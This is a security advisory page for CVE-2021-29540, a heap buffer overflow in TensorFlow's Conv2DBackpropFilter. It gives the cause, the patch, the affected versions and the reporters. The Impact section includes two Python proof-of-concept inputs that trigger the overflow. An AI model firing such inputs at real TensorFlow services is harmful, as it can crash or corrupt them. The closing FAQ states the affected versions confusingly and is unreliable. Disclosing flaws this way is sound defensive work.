CVE-2021-29540: Heap buffer overflow in `Conv2DBackpropFilter`

Published May 14, 2021
·
Updated

Impact An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

python import tensorflow as tf

inputtensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filtersizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) outbackprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32) tf.rawops.Conv2DBackpropFilter( input=inputtensor, filtersizes=filtersizes, outbackprop=outbackprop, strides=[1, 66, 49, 1], usecudnnongpu=True, padding='VALID', explicitpaddings=[], dataformat='NHWC', dilations=[1, 1, 1, 1] )

Alternatively, passing empty tensors also results in similar behavior:

python import tensorflow as tf

inputtensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filtersizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) outbackprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.rawops.Conv2DBackpropFilter( input=inputtensor, filtersizes=filtersizes, outbackprop=outbackprop, strides=[1, 66, 49, 1], usecudnnongpu=True, padding='VALID', explicitpaddings=[], dataformat='NHWC', dilations=[1, 1, 1, 1] )

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filtersizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Other sources

TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/convgradfilterops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filtersizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

Affected Software

16 affected componentsFixes available
pip/tensorflow-gpu>=2.4.0<2.4.2
2.4.2
pip/tensorflow-gpu>=2.3.0<2.3.3
2.3.3
pip/tensorflow-gpu>=2.2.0<2.2.3
2.2.3
pip/tensorflow-gpu<2.1.4
2.1.4
pip/tensorflow-cpu>=2.4.0<2.4.2
2.4.2
pip/tensorflow-cpu>=2.3.0<2.3.3
2.3.3
pip/tensorflow-cpu>=2.2.0<2.2.3
2.2.3
pip/tensorflow-cpu<2.1.4
2.1.4
pip/tensorflow>=2.4.0<2.4.2
2.4.2
pip/tensorflow>=2.3.0<2.3.3
2.3.3
pip/tensorflow>=2.2.0<2.2.3
2.2.3
pip/tensorflow<2.1.4
2.1.4
Google TensorFlow<2.1.4
Google TensorFlow>=2.2.0<2.2.3
Google TensorFlow>=2.3.0<2.3.3
Google TensorFlow>=2.4.0<2.4.2

Event History

May 14, 2021
CVE Published
via MITRE·07:11 PM
Data Sourced
via MITRE·07:11 PM
DescriptionSeverityWeakness
May 21, 2021
Advisory Published
via GitHub·02:23 PM

Frequently Asked Questions

1

What is the severity of CVE-2021-29540?

CVE-2021-29540 has been classified as a high severity vulnerability due to the potential for a heap buffer overflow.

2

How do I fix CVE-2021-29540?

To fix CVE-2021-29540, upgrade to TensorFlow version 2.4.2 or later.

3

Which versions of TensorFlow are affected by CVE-2021-29540?

CVE-2021-29540 affects TensorFlow versions earlier than 2.4.2, specifically 2.1.4 and between 2.2.0 to 2.3.3.

4

What type of vulnerability is CVE-2021-29540?

CVE-2021-29540 is identified as a heap buffer overflow vulnerability.

5

Can I check for CVE-2021-29540 in my TensorFlow application?

Yes, you can check for CVE-2021-29540 by reviewing the version of TensorFlow you are currently using and comparing it with the versions listed as vulnerable.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203